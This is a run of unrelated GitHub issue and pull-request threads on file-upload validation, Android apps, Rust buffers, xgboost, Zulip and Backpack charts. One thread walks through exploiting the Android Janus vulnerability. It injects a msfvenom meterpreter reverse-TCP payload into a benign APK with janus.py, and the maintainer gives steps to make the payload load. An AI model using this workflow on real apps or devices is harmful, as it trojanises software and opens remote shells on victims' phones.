ngf-pattern not working

Hey Danial,
I tried ngf-pattern="'image/*'" and I am able to upload powerpoint files, I also set the accept to the same constraint. But if the user selects all files in the poput, non images are still allowed through, I also set ngf-validate-force=true. Any ideas?
Thank you!
*also your donate link is broken

Can you create a plunkr or jsfiddle?

Hey Danial,
I set my $scope.upload() to set $scope.images = $files because ng-model isn't working, I think because I am not using an explicit input field...anyway now my $scope.images[] is resetting to null each time I put images. This happened after upgrading from 7.3.0 to 7.3.2. Before $files would keep all the files, Any ideas?

The ngf-pattern is working on the demo page, you could compare your code with that. 7.3.0 had a bug that would make ngf-keep enabled by default. Whenever you click on the input the model values will be reset to empty unless you set ngf-keep="true"

okay, thank you! I will set to ngf-keep="true". I verify and close issue if was my fault. Thanks again!

for ngf-keep I ran into an issue if it was ngf-keep=true, rather than ngf-keep='true'. Later on, can you please add support for both bool and string. This helps keep things HTML5 compliant. Also, it looks like  ngf-pattern is working because I have $error in the file object. However, shouldn't validate-force="true" disallow them from entering the $files[]?

ngf-validate-force="boolean" // default false, if true file will be rejected if the dimension or duration
// values for validations cannot be calculated for example image cannot load or unsupported video by browser

I read that, but I put it to true, and still files with $error are getting by :(

oh rejected here means the $error will be set on them I will update the doc

ah, okay, so I am guessing that I will have to manually filter out file objects from $files[] with $error? My understanding, was that ngf-validate-force="true", should filter this for you. if i made pull request would you merge?

I would think that forcing validation would just filter objects with $error present in the $files[]

Sample Filter
var filter_invalid_files;

$scope.upload = function(files) {
  return $scope.images = filter_invalid_files(files);
};

filter_invalid_files = function(files) {
  var file, i, len, tmp_array;
  tmp_array = [];
  for (i = 0, len = files.length; i < len; i++) {
    file = files[i];
    if (!file.hasOwnProperty('$error')) {
      tmp_array.push(file);
    }
  }
  return tmp_array;

Do you have a usecase scenario that you just want the files without error? Normally you would wanna show the user what error each file has so a list of all files should work.

I understand what you're saying and the use case of keeping the file and the error. But what I am specifically talking about is that  ngf-validate-force='true' should filter invalid files. It just makes sense in my opinion.

Hey Danial, you can close this issue, also Upload.upload is sending an empty request payload. I am not sure why.

It is not empty the browser dev tool doesn't show the contents.

ah okay, thanks! Just that multiparty is not triggering a file event so I am suspecting that no files are getting sent over.

Added ngf-valid-only directive to version 8.0.1 which would assign only the valid files to the model.

sweet! thank you!


Help

I tried it on a vulnerable apk. I generated the .dex file with msfvenom than I used this tool to inject my payload.dex. However, if I analyze the generated apk with jadx-gui, I cannot find any references to my evil payload (msfvenom). Do you know why? Am I doing something wrong?

Hi @serrapa,
what you experienced is expected, as the inject .dex is not considered a valid file inside the ZIP (APK) file. Because of this, JaDX won't/can't parse it.
Inspect the raw data with an hex editor and check if the .dex is correctly placed at the start of the file.

Hey thanks for the response! Yes I was wrong, I checked the size of the apk at the end and obviously it’s greater… dont know why I didn’t do it before… anyway, I could get the shell back, still I dont understand why, I tried it on emulator and on a real device but nothing… have your ever tried to exploit the vuln in this way?

Sorry actually I didn’t try it on a real device because I didnt have one with api < 24.. I tried on the emulator and I though there were problems at network level… I set up the metasploit handler on my localhost and I created the shell with the remote host being <IP_ADDRESS> (the alias for the loopback interface for the emulator, as stated in the android docs)… Dont know if there would be some limitations by doing this way… btw I ll try creating the activity with the textview as you say and I ll let you knew asap! Thank you soo much!

I tried to create two projects on Android Studio (one benign app and one evil). Both of them are projects based on "Empty Views Activity" template and print a single log line:

"BENIGN", "This log line is legit."
"EVIL", "This log line is evil."

The following are the steps I followed:

python3 manifest_dummy.py benign-release/AndroidManifest.xml manifest
cat manifest/manifest.xml

<provider android:name="androidx.startup.InitializationProvider" android:authorities="fot.pcegi"/>
	<receiver android:name="androidx.profileinstaller.ProfileInstallReceiver"/>
</application>

Add the two class (as normal Java classes that extends android.content.ContentProvider and android.content.BroadcastReceiver

package androidx.profileinstaller;

import android.content.Context;
import android.content.Intent;

public class ProfileInstallReceiver extends  android.content.BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {

    }
}

package androidx.startup;

import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;

public class InitializationProvider extends  android.content.ContentProvider{
    @Override
    public boolean onCreate() {
        return false;
    }

    @Nullable
    @Override
    public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection, @Nullable String[] selectionArgs, @Nullable String sortOrder) {
        return null;
    }

    @Nullable
    @Override
    public String getType(@NonNull Uri uri) {
        return null;
    }

    @Nullable
    @Override
    public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
        return null;
    }

    @Override
    public int delete(@NonNull Uri uri, @Nullable String selection, @Nullable String[] selectionArgs) {
        return 0;
    }

    @Override
    public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection, @Nullable String[] selectionArgs) {
        return 0;
    }
}

python3 extract_dex.py evil-debug.apk evil.dex
python3 janus.py evil.dex benign-release.apk benign-release-injected.apk (app installed successfully)
Started the benign-release-injected app that crashed. Here the logs:

023-11-25 16:03:44.298 16826-16826 System                  com.poc.benign                       W  ClassLoader referenced unknown path: /data/app/com.poc.benign-1/lib/arm64
2023-11-25 16:03:44.299 16826-16826 AndroidRuntime          com.poc.benign                       D  Shutting down VM
2023-11-25 16:03:44.299 16826-16826 AndroidRuntime          com.poc.benign                       E  FATAL EXCEPTION: main
                                                                                Process: com.poc.benign, PID: 16826
                                                                                java.lang.RuntimeException: Unable to get provider androidx.startup.InitializationProvider: java.lang.ClassNotFoundException: Didn't find class "androidx.startup.InitializationProvider" on path: DexPathList[[zip file "/data/app/com.poc.benign-1/base.apk"],nativeLibraryDirectories=[/data/app/com.poc.benign-1/lib/arm64, /vendor/lib64, /system/lib64]]
                                                                                at android.app.ActivityThread.installProvider(ActivityThread.java:5156)
                                                                                at android.app.ActivityThread.installContentProviders(ActivityThread.java:4748)
                                                                                at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4688)
                                                                                at android.app.ActivityThread.-wrap1(ActivityThread.java)
                                                                                at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1405)
                                                                                at android.os.Handler.dispatchMessage(Handler.java:102)
                                                                                at android.os.Looper.loop(Looper.java:148)
                                                                                at android.app.ActivityThread.main(ActivityThread.java:5417)
                                                                                at java.lang.reflect.Method.invoke(Native Method)
                                                                                at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
                                                                                at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
                                                                                Caused by: java.lang.ClassNotFoundException: Didn't find class "androidx.startup.InitializationProvider" on path: DexPathList[[zip file "/data/app/com.poc.benign-1/base.apk"],nativeLibraryDirectories=[/data/app/com.poc.benign-1/lib/arm64, /vendor/lib64, /system/lib64]]
                                                                                at dalvik.system.BaseDexClassLoader.findClass(BaseDexClassLoader.java:56)
                                                                                at java.lang.ClassLoader.loadClass(ClassLoader.java:511)
                                                                                at java.lang.ClassLoader.loadClass(ClassLoader.java:469)
                                                                                at android.app.ActivityThread.installProvider(ActivityThread.java:5141)
                                                                                at android.app.ActivityThread.installContentProviders(ActivityThread.java:4748)
                                                                                at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4688)
                                                                                at android.app.ActivityThread.-wrap1(ActivityThread.java)
                                                                                at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1405)
                                                                                at android.os.Handler.dispatchMessage(Handler.java:102)
                                                                                at android.os.Looper.loop(Looper.java:148)
                                                                                at android.app.ActivityThread.main(ActivityThread.java:5417)
                                                                                at java.lang.reflect.Method.invoke(Native Method)
                                                                                at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726)
                                                                                at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)
                                                                                Suppressed: java.io.IOException: No original dex files found for dex location /data/app/com.poc.benign-1/base.apk
                                                                                at dalvik.system.DexFile.openDexFileNative(Native Method)
                                                                                at dalvik.system.DexFile.openDexFile(DexFile.java:295)
                                                                                at dalvik.system.DexFile.<init>(DexFile.java:80)
                                                                                at dalvik.system.DexFile.<init>(DexFile.java:59)
                                                                                at dalvik.system.DexPathList.loadDexFile(DexPathList.java:279)
                                                                                at dalvik.system.DexPathList.makePathElements(DexPathList.java:248)
                                                                                at dalvik.system.DexPathList.<init>(DexPathList.java:120)
                                                                                at dalvik.system.BaseDexClassLoader.<init>(BaseDexClassLoader.java:48)
                                                                                at dalvik.system.PathClassLoader.<init>(PathClassLoader.java:65)
                                                                                at android.app.ApplicationLoaders.getClassLoader(ApplicationLoaders.java:58)
                                                                                at android.app.LoadedApk.getClassLoader(LoadedApk.java:376)
                                                                                at android.app.LoadedApk.makeApplication(LoadedApk.java:568)
                                                                                at android.app.ActivityThread.handleBindApplication(ActivityThread.java:4680)
                                                                                ... 8 more
                                                                                Suppressed: java.lang.ClassNotFoundException: androidx.startup.InitializationProvider
                                                                                at java.lang.Class.classForName(Native Method)
                                                                                at java.lang.BootClassLoader.findClass(ClassLoader.java:781)
                                                                                at java.lang.BootClassLoader.loadClass(ClassLoader.java:841)
                                                                                at java.lang.ClassLoader.loadClass(ClassLoader.java:504)
                                                                                ... 12 more
                                                                                Caused by: java.lang.NoClassDefFoundError: Class not found using the boot class loader; no stack trace available

Don't understand what is wrong..

extract_dex.py is not for extracting classes.dex files from a valid APK file, as written in the README it is for extracting the .dex file from an already injected APK file. It is not entirely your fault, but a misnomer on my part 😅

Damn, I coded it really badly... lol

Aah I see.. anyway I also tried doing:

python3 janus.py classes.dex benign-release.apk benign-release-injected.apk
python3 janus.py classes2.dex benign-release.apk benign-release-injected.apk
python3 janus.py classes3.dex benign-release.apk benign-release-injected.apk
python3 janus.py classes4.dex benign-release.apk benign-release-injected.apk

No ones worked ahaha. Digging deeper I think the problem is also multidexing, so I tried to build my evil apk without multidex (enabled by default on android studio), but I got errors because there are two instances of androidx.startup.
Instead if a generate the evil dex with msfvenom this way for example msfvenom -p android/meterpreter_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 VERBOSE=true -o meterpreter.dex, the app does not crash but I cannot see any connection, neither with wireshark (I hope at least  on the tentative towards <IP_ADDRESS>:4444, but nothing...)

Does the injected app have the android.permission.INTERNET permission?

python3 janus.py classes.dex benign-release.apk benign-release-injected.apk
python3 janus.py classes2.dex benign-release.apk benign-release-injected.apk
python3 janus.py classes3.dex benign-release.apk benign-release-injected.apk
python3 janus.py classes4.dex benign-release.apk benign-release-injected.apk

Yes, forgot to mention that I've tested it with only one classes.dex file. You can try to inject them in the reverse order (classes4.dex, classes3.dex, ...), I don't know if it works.

msfvenom -p android/meterpreter_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 VERBOSE=true -o meterpreter.dex

Also, doesn't msfvenom -p android/meterpreter_reverse_tcp output an APK file? Be sure to extract the correct classes.dex.

Does the injected app have the android.permission.INTERNET permission?

Yes

Yes, forgot to mention that I've tested it with only one classes.dex file. You can try to inject them in the reverse order (classes4.dex, classes3.dex, ...), I don't know if it works.

yeah, I supposed you tested with one dex... btw, also in the reverse order does not change, the app crashes with the same errors logs as above

Can you share the output file for this? msfvenom -p android/meterpreter_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 VERBOSE=true -o meterpreter.dex
Thank you

Also, doesn't msfvenom -p android/meterpreter_reverse_tcp output an APK file? Be sure to extract the correct classes.dex.

Ooh yes, I totally forgot, but still not change ahah.. I just tried with the classes.dex inside the output of apktool d --no-src meterpreter.dex -o meterpreter
Can you share the output file for this? msfvenom -p android/meterpreter_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 VERBOSE=true -o meterpreter.dex
It is not much and helpful
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 72706 bytes
Saved as: meterpreter.dex

I mean the output file

meterpreter.dex.zip
I needed to convert it as a zip because I cannot upload it as is on github...

AndroidManifest.xml
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.metasploit.stage" platformBuildVersionCode="10" platformBuildVersionName="2.3.3">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.CAMERA"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
    <uses-feature android:name="android.hardware.camera"/>
    <uses-feature android:name="android.hardware.camera.autofocus"/>
    <uses-feature android:name="android.hardware.microphone"/>
    <application android:label="@string/app_name">
        <activity android:label="@string/app_name" android:name=".MainActivity" android:theme="@android:style/Theme.NoDisplay">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
            <intent-filter>
                <data android:host="my_host" android:scheme="metasploit"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <action android:name="android.intent.action.VIEW"/>
            </intent-filter>
        </activity>
        <receiver android:label="MainBroadcastReceiver" android:name=".MainBroadcastReceiver">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
        <service android:exported="true" android:name=".MainService"/>
    </application>
</manifest>

Note: all the permissions, receivers and services added will not be available once injected, because Android parse the correct AndroidManifest.xml inside the original APK.

You could try to:

Create a dummy app to generate the missing receivers, etc. of the target app using manifest_dummy.py
Decode the dummy APK using apktool d -o dummy
Decode meterpreter.dex using apktool d -o exploit
Copy over the missing receivers, etc. inside the extracted meterpreter.dex
Build the decoded meterpreter.dex using apktool b exploit
Extract the classes.dex file from exploit.apk
Inject it using janus.py

You're right.. but so how can I get code execution via a bad dex by exploiting the Janus vuln? Because also with the classes dex files from my evil.apk does not work (the app crashes)

I ll try

Extract the classes.dex file from exploit.apk

Here you mean with extract_dex.py?
Btw, the process looks like that one I did above with the evil and benign app. With less steps because I used the classes dex file from the evil app and not form meterpreter.apk (i call it .apk and not dex because it s confusing)

Here you mean with extract_dex.py?

No, just extract it as a normal Zip file

Btw, the process looks like that one I did above with the evil and benign app. With less steps because I used the classes dex file from the evil app and not form meterpreter.apk (i call it .apk and not dex because it s confusing)

Yes, it's similar. The thing is that the generated APK file from Metasploit is probably not compatible with the target app (because of receivers, etc), so you want the code from the Metasploit APK, but with the missing stuff from the target app (by using manifest_dummy.py).

Hey! I still have to try it, didn't have time these days..  I will notify here as soon as I'm done

Perfect!


Make BBBuffer generic over the index variables

It would be nice to use atomic types smaller than usize for tracking variables. This could be a significant size savings for buffers like BBBuffer<U128> (18 bytes vs 6 bytes overhead on a 32-bit target).
This should be possible by following the tricks used by heapless, and could be made backwards compatible to alias current constructors to use usize as the generic parameter.

This would also help in making this mergable into heapless, CC https://github.com/japaric/heapless/issues/65

CC @korken89, who I think is better at generic shenanigans that I am :)

Yeah, this is no problem to do, ping me if you want some help :)


Add light sensor

Is your feature request related to a problem? Please describe.
Not a problem, just a nice to have feature for wall mounted tablets.
Describe the solution you'd like
I imagine myself and others probably have some wall mounted tablets with the android app installed.  As these devices are always plugged in it would be useful to get a light sensor as that can allow us to have these sensors in each area for automating light brightness.
Describe alternatives you've considered, if any
We can currently use Tasker to grab these values and send them back however it involves a lot of setup.
Additional context
Sensor information can be found here: https://developer.android.com/guide/topics/sensors/sensors_environment
Not sure if the other sensors are there but light is definitely there for any device that does auto brightness.

It's not the focus of our app to add a ton of features for tablet use. Our focus is to be used on phones, not as an always on solution. I don't think that we should add this.

Could be interesting from an environment monitoring standpoint, though.

It's not the focus of our app to add a ton of features for tablet use. Our focus is to be used on phones, not as an always on solution. I don't think that we should add this.

So for a Tablet use the best solution is to open HA with a browser? Only for information...

@simbus82 you can still use the app. It's just that we shouldn't add features that are not contributing to the phone experience.


Add support for iOS 14.0+ Logger

Update SFSystemLogWriter to support Logger

Maybe use Facade and SFSystemLog class

More info:
https://medium.com/better-programming/ios-14s-new-logger-api-vs-oslog-ef88bb2ec237

We have similar implementation in SFSystemLogWriter


Is Autogen integration still supported in Letta? (groupchat with multiple people)

Is your feature request related to a problem? Please describe.
This issue is related to this old issue How to invoke multiple humans with groupchat and the discussion from MemGPT + AutoGen. It seemed we had a temp solution to use autogen integration to deal with the multiple human interaction case in the past. Since Letta evolved rapidly, so many things just changed. And I also could not find any existing Autogen integration examples anymore, I wonder if is Autogen still a feasible solution, or are there any updates to this?

The old AutoGen integration was quite fragile since it relied on specific versions of Letta/MemGPT pinned to specific versions of AutoGen (since it created a shim layer between AutoGen and MemGPT at the Python class level). Because of this, it became quite hard to maintain so we decided to deprecate it to let us move faster as a dev team.
However, we are quite open to adding more multi-agent native features to Letta, since it already is possible to connect multiple agents to each other. @lemorage if you have any specific examples of workflows from AutoGen/AG2 you'd like to see made easier in Letta, we are happy to look into this for you and put it on the feature roadmap.

@cpacker Thanks for the detailed explanations! I’m currently looking into using Letta to develop a Slack chatbot for group chats. From what I understand, it seems like Letta’s client is designed to correspond to a single user, so it always assumes it’s interacting with just one person.
In a group chat, though, even if multiple users are engaging with the bot, it seems like Letta’s memory treats them all as one user—just with a name that keeps changing. Is that understanding correct? If so, is there a way to make Letta recognize that it’s interacting with multiple users in a group setting? Or are there any workarounds for this?
https://github.com/letta-ai/letta/blob/afd859cff782effbcfb5aa132575efde9ff7f2a0/letta/client/client.py#L2004


gpu_acceleration, trying bosch.py.  Get: TypeError: init() got multiple values for keyword argument 'n_splits'

Environment info
Operating System: Ubuntu 16.04 LTS with latest updates
Compiler: N/A
Package used (python/R/jvm/C++): pyhton 2.7, scikit-learn 0.18.1 from pip and also tried latest development version 0.19.dev0 (b5f2a387f5579857198803a4c86119451b1ff20e).
xgboost version used: latest development version (4a63f4ab43480adaaf13bde2485d5bfedd952520)
Steps to reproduce

Run https://github.com/dmlc/xgboost/blob/master/demo/gpu_acceleration/bosch.py with data required as mentioned.

Result:
$ python bosch.py
Traceback (most recent call last):
File "bosch.py", line 32, in
cv = StratifiedKFold(y,n_splits=5)
TypeError: init() got multiple values for keyword argument 'n_splits'
What have you tried?

Remove n_splits, then get error:

$ python bosch.py
Traceback (most recent call last):
File "bosch.py", line 32, in
cv = StratifiedKFold(y) #,n_splits=5)
File "/usr/local/lib/python2.7/dist-packages/sklearn/model_selection/_split.py", line 566, in init
super(StratifiedKFold, self).init(n_splits, shuffle, random_state)
File "/usr/local/lib/python2.7/dist-packages/sklearn/model_selection/_split.py", line 274, in init
% (n_splits, type(n_splits)))
ValueError: The number of folds must be of Integral type. [ 0.  0.  0. ...,  0.  0.  0.] of type <type 'numpy.ndarray'> was passed.

Found related issues: https://github.com/chrisclark/PythonForDataScience/issues/2 and https://github.com/dmlc/xgboost/issues/1729  but I already have latest scikit-learn.

Tried without any arguments in StratifiedKFold() and get:

$ python bosch.py
Traceback (most recent call last):
File "bosch.py", line 34, in
for i, (train, test) in enumerate(cv):
TypeError: 'StratifiedKFold' object is not iterable
So seems even though passes the cv = .. line that is a problem, still not correct with default arguments.

Seems different arguments taken: http://scikit-learn.org/stable/modules/generated/sklearn.model_selection.StratifiedKFold.html , despite @adamist521 adamist521 statement: "cross_validation is included in model_selection module since sklearn …
2 contributors" .

That is, seems code is not correctly using StratifiedKFold inside sklearn.model_selection.  That is, one can have input "y" like quantity, one cannot.  etc.

All tests pass when running:  nosetests -v sklearn

Tried swapping:

#from sklearn.model_selection import StratifiedKFold
from sklearn.cross_validation import StratifiedKFold
but still same error:
$ python bosch.py
/usr/local/lib/python2.7/dist-packages/sklearn/cross_validation.py:44: DeprecationWarning: This module was deprecated in version 0.18 in favor of the model_selection module into which all the refactored classes and functions are moved. Also note that the interface of the new CV iterators are different from that of this module. This module will be removed in 0.20.
"This module will be removed in 0.20.", DeprecationWarning)
Traceback (most recent call last):
File "bosch.py", line 33, in
cv = StratifiedKFold(y,n_splits=5)
TypeError: init() got an unexpected keyword argument 'n_splits'

What did "work" was to use:

#from sklearn.model_selection import StratifiedKFold
from sklearn.cross_validation import StratifiedKFold
and:
cv = StratifiedKFold(y) #,n_splits=5)

The error on no. 6 is because StratifiedKFold from sklearn.cross_validation has the argument n_splits renamed to n_folds.
http://scikit-learn.org/stable/whats_new.html#version-0-18


Remove Saving/Saved notices for stream info editing

As discussed here, we should:

[ ] Remove the Saving/Saved notices when the stream name and/or description is edited.
[ ] Instead, have the "Save changes" button turn into a spinner while saving, as we do in other modals (using the loading_spinner option).

@zulipbot claim

@zulipbot claim

Is there is sill any help needed I am highly interested to contribute??

@zulipbot claim

claim

I am interested in contributing

@zulipbot claim

@zulipbot abandon

claim

@zulipbot claim

@zulipbot claim

@zulipbot claim

zulipbot abandon


add more test scene for server

Ⅰ. Describe what this PR did
add test for seata-server
Ⅱ. Does this pull request fix one issue?
fixes #192
Ⅲ. Why don't you add test cases (unit test/integration test)?
add test
Ⅳ. Describe how to verify it
test is ok
Ⅴ. Special notes for reviews

Codecov Report

Merging #801 into develop will increase coverage by 1.9%.
The diff coverage is n/a.

@@             Coverage Diff              @@
##             develop     #801     +/-   ##
============================================
+ Coverage      33.93%   35.83%   +1.9%
- Complexity       886      931     +45
============================================
  Files            217      217
  Lines           8368     8368
  Branches        1010     1010
============================================
+ Hits            2840     2999    +159
+ Misses          5184     5025    -159
  Partials         344      344

Impacted Files
Coverage Δ
Complexity Δ

...libaba/fescar/server/AbstractTCInboundHandler.java
2.77% <0%> (+2.77%)
1% <0%> (+1%)
:arrow_up:

...m/alibaba/fescar/server/session/GlobalSession.java
85.62% <0%> (+3.92%)
48% <0%> (+4%)
:arrow_up:

...a/fescar/server/store/TransactionStoreManager.java
96.15% <0%> (+7.69%)
0% <0%> (ø)
:arrow_down:

...m/alibaba/fescar/server/session/BranchSession.java
84.84% <0%> (+8.33%)
46% <0%> (+9%)
:arrow_up:

...fescar/server/session/FileBasedSessionManager.java
71.95% <0%> (+17.07%)
19% <0%> (+4%)
:arrow_up:

...alibaba/fescar/server/coordinator/DefaultCore.java
61.26% <0%> (+33.8%)
21% <0%> (+10%)
:arrow_up:

...alibaba/fescar/server/coordinator/CoreFactory.java
40% <0%> (+40%)
1% <0%> (+1%)
:arrow_up:

.../fescar/server/coordinator/DefaultCoordinator.java
53.57% <0%> (+53.57%)
16% <0%> (+16%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e888f58...380d851. Read the comment docs.


DSA 2.1 Strings: Binary Strings - Video

Description
What are Binary Strings? Give examples.
Given a binary string, count number of substrings that start and end with 1.
Important: Do not use assign command for this issue.
Task

[ ] Video

Note

While requesting the issue to be assigned, please mention your NAME & BATCH NUMBER.
Kindly refer to Issue Guidelines.
Changes should be made inside the DSA/directory & DSA branch.
Name of the file should be same as the issue.
This issue is only for 'GWOC' contributors of 'DSA' Domain.

@nimisha-yadav please assign me this task. Name- Hilag Shah Batch-DSA Batch-1

Thankyou mam

Hello @nimisha-yadav  mam.I have opened a pull request.Please review it whenever you have time.


Assignment2

Sum of Number function added into sumOfNumber file.
Comment-practice changed to invoke a function sumOfNumber (number).

Changes look good, but I'm unsure of how to handle version changes of rollup.js (2.19.0 -> 2.20.0) in the package json files. What do you think, @iamamonte ?

I incorporated these changes into PR 69, with a reversion of rollup back to 2.19.0


Add a "submit a review" button to "Your reviews" page

Will need to route to support@ if someone ticks a box saying 'please could someone help me with this issue' or similar.
Will need consultation with support team on best way to capture the right data.
Need a disclosure of name consent (yes/no) if review chosen for publication.

@PatReynolds to check FreeBMD1, and re-prioritise

@ArcherBarrie  I could not see a submission form or other way of submitting a bouquet on FreeBMD1 - have I missed it?

@PatReynolds Not really ... we don't have a specific way of doing that but https://www.freebmd.org.uk/iindex.shtml gives a couple of other options.

Submission form to be embedded on the page.

Covered in Reviews story- closing


Add withAll and except methods to eager load relations in Model class

This pull request introduces withAll and except methods to the Eloquent Model class, enabling the eager loading of all or specified relations. These enhancements offer developers greater flexibility in handling relationships, improving code efficiency and readability without breaking existing features.

This seems to break the test suite.


modify the headlines of sr ecosystem docs

Why I'm doing:
The headlines of sr ecosystem docs are not consistent.
What I'm doing:
modify the headlines of sr ecosystem docs
Fixes #issue
What type of PR is this:

[ ] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[x] Doc
[ ] Tool

Does this PR entail a change in behavior?

[ ] Yes, this PR will result in a change in behavior.
[x] No, this PR will not result in a change in behavior.

If yes, please specify the type of change:

[ ] Interface/UI changes: syntax, type conversion, expression evaluation, display information
[ ] Parameter changes: default values, similar parameters but with different default values
[ ] Policy changes: use new policy to replace old one, functionality automatically enabled
[ ] Feature removed
[ ] Miscellaneous: upgrade & downgrade compatibility, etc.

Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

Bugfix cherry-pick branch check:

[x] I have checked the version labels which the pr will be auto-backported to the target branch

[x] 3.2
[x] 3.1
[x] 3.0
[x] 2.5

rerun CI DOC Checker / markdownlint (pull_request_target)


Adding Pre-Amble text to help guide people to our reference material to reduce any confusion

Thanks @goneall! I will bring our teams into this from the mailing lists.

I added the preamble as a pull request:
https://github.com/OpenChain-Project/Online-Self-Certification-Web-App/pull/179
Does it look OK?

	    We recommend having a look at the OpenChain Reference Training Slides and the OpenChain Reference Policy Template before undergoing Self-Certification. It will help frame the questions that follow.

Adding @haksungjang for reference.

@shanecoughlan @haksungjang See PR #179 for discussion on work remaining.


Unable to post-process HTML produced by AsciiDoctor

I've got a table that needs to be wider than the hard width limit imposed by the AsciiDoctor conversion, so I've added a post_build command to update the HTML file, but it doesn't work (I've tried it locally, so I know the command is fine). I still have to manually edit the HTML file on the gh-pages branch.
Is there something else that I need to add?

Have you checked the CI log for error messages?
Provide a link to your workflow run here.

I'm not getting any errors. Here is the most recent run: https://github.com/brianary/brianary.github.io/actions/runs/1524351226
Thanks!

Hey @brianary
Thanks for reporting. The changes performed by the post-processing were not being added to gh-pages.
Now the CI log shows when the post-processing is performed and executes the git add at the right place.
Check the new v2.13 release and let me know if it works fine.

Since you are using asciidoctor-ghpages-action@v2, just try to rerun your workflow.

Works great now! Thanks!


[Feature Request] Add support for filters to chart widgets

Feature Request
What's the feature you think Backpack should have?
I think we should be able to add filters to chart widgets
Have you already implemented a prototype solution, for your own project?
I have, this is oddly enough not super complicated to add. What I changed:
Changes on the backend
After you create a new ChartController, add the Filter and Settings traits, and define the getCurrentOperation function to return 'list' (to prevent errors)
- This allows you to call $this->addFilter in your ChartController.
- In the real code, probably best to add the traits and define the required function in the ChartController itself, rather than letting the user append this code.
Changes on the frontend
I had to make some changes to the chart widget blade file as well

Copy the div from the filter navbar into the card body. The one with id=bp-filters-navbar
- This loads the filters into a chart
- In the real code, this div should be put into its own file and be included in both the chart widget as well as the original filter navbar blade file.
All widgets assume a datatable is present, I added a dummy datatable with style="display: none" to silence the errors. In the real code you would of course just place checks in place to see if the dataTable is present at all. You can always get the initial ajax_url from new URI(window.location.href) in case dataTable is not present on the page.
I had to implement a function called updateChartOnFilterChange which is called at the same places as updateDatatablesOnFilterChange, it receives {{$filter->key}} as its first parameter instead of {{$filter->name}}.

Note, the simple widget for some reason does not call updateDatatablesOnFilterChange, I added the appropriate calls manually.
Another note: you can retrieve the chart id from the filter key. Since charts are embedded within cards you can use jQuery to find the card with $(this).closest('.card-body').find('canvas').attr('id');
For ajax management, the url is stored in the canvas as well, as data-ajax-url, this is set in this function as well, but needs to be retrieved in every widget code body in the right locations
We can now call the ajax refresh function for the chart, the chart docs describe how.
As for getting the refresh function name, you can just filter window for the function. var refresh_chart = Object.keys(window).filter((key)=>key.contains(chart_id))[0];

With these changes put together, you get the same filtering functionality and ui as on list view datatables.
Do you see this as a core feature or an add-on?
Core feature for pro.

Hello @Azeirah thanks for the suggestion and such a detailed explanation.
This seems like a very good approach to the problem, I already implemented myself something like this to filter charts but not using CrudFilters. (way way more basic)
Do you have a screenshot of the final result that you can share?
Cheers


"Page not found"

The app doesn't work/open at all. It says "Page not found", and the console shows:
Failed to load resource: the server responded with a status of 404 (Not Found): https://www.messenger.com/t/

Exact same issue. I deleted the app and redownloaded, still no fix.

Same issue for me, I also removed the entire thing with AppCleaner and re-downloaded, and opened. Just says "page not found."

#83 can Fix this


Feature: State Management with Rematch

This is just a POC and bootstrapping of Rematch a Redux wrapper and state management solution.
Only implemented on ReduxTestTemplate component just to show effecting state or 2 different models with 2 different properties in the store. ReduxTestTemplate is used in the Unix page to demo, thought this can be removed if needed.

